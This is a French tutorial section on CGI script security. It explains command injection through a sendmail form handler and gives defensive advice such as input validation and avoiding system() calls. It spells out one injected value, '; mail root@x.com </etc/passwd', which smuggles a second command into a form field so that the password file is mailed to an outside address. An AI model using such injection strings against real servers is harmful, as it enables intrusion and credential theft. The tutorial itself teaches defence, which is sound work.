Introduction au CGI (Common Gateway Interface)
8. Sécurité
L'utilisation de scripts ou programmes CGI amène un certain nombre de questions relatives à la
sécurité du système hôte du serveur web considéré. C'est souvent pour cette raison que la plupart des
fournisseurs d'accès interdisent leurs utilisations.
Etant donné qu'un programme CGI est un exécutable, son utilisation
correspond à laisser n'importe qui exécuter un programme sur votre ordinateur.
Même si il est généralement exécuté avec des droits limités (login nobody)
il est possible d'avoir accès à certains fichiers sensibles comme par exemple le
célèbre /etc/passwd (fichier contenant les mots de passe crypté des utilisateurs).
Un CGI mal écrit pourrait permettre à un utilisateur mal
intentionné de récupérer ce dit fichier en vue d'y extraire les mots de passe des utilisateurs...
Prenons l'exemple très classique d'un script sous UNIX qui envoie le contenu d'un formulaire par mail,
en utilisant le programme sendmail. A un moment du script, on exécute la commande suivante.
sendmail $DESTINATAIRE.
La variable DESTINATAIRE contiendrait l'adresse E-MAIL à laquelle on désire
envoyer les données du formulaire. Si la valeur est récupérée via un champ caché du
formulaire ont peut aisément récupéré la page contenant le formulaire, l'éditer en local en ajoutant
'; mail root@x.com </etc/passwd' après l'adresse, ce qui équivaut à lancer la
commande suivant : 'sendmail webmaster@abc.com; mail root@x.com </etc/passwd'.
Le script va donc exécuter normalement l'envoi du formulaire à l'adresse prévue.
Mais aussi exécuter la commande mail permettant d'envoyer le fameux fichier /etc/passwd à l'adresse indiquée...
Comment ce protéger ce genre de problème ?
Pour ce protéger de ce genre de problème, il suffit tous simplement
de vérifier la validité des informations reçues du client avant de faire l'envoie,
par exemple une E-Mail ne peut contenir le caractère point-virgule, ni d'espace...
Il faut s'assurerez, qu'un CGI ne puisse pas planter quoi qu'il reçoive
d'un client... Un autre exemple classique est d'envoyer plus de données que prévues
dans un programme. Un plantage peut en effet remettre en cause l'intégrité du système hôte.
De plus il est possible de vérifier grâce à la variable 'HTTP_REFERER' si la requête vient bien de votre site web
et non d'une adresse inconnue...
L'exemple précédent est un cas d'école. Mais dans des scripts CGI
plus compliqué, il est plus délicat de repérer des éventuels risques en matière de sécurité. En général, il
éviter le plus possible de faire des appels à une commande système (via la fonction
system() par exemple), ainsi que d'écrire des script Shell a moins que vous soyez un spécialiste...
Une autre manière de ce protéger et d'éviter que les éventuels utilisateurs mal intentionné
puissent accéder à vos sources afin de les étudier et de déceler la présence d'un trou de sécurité...
|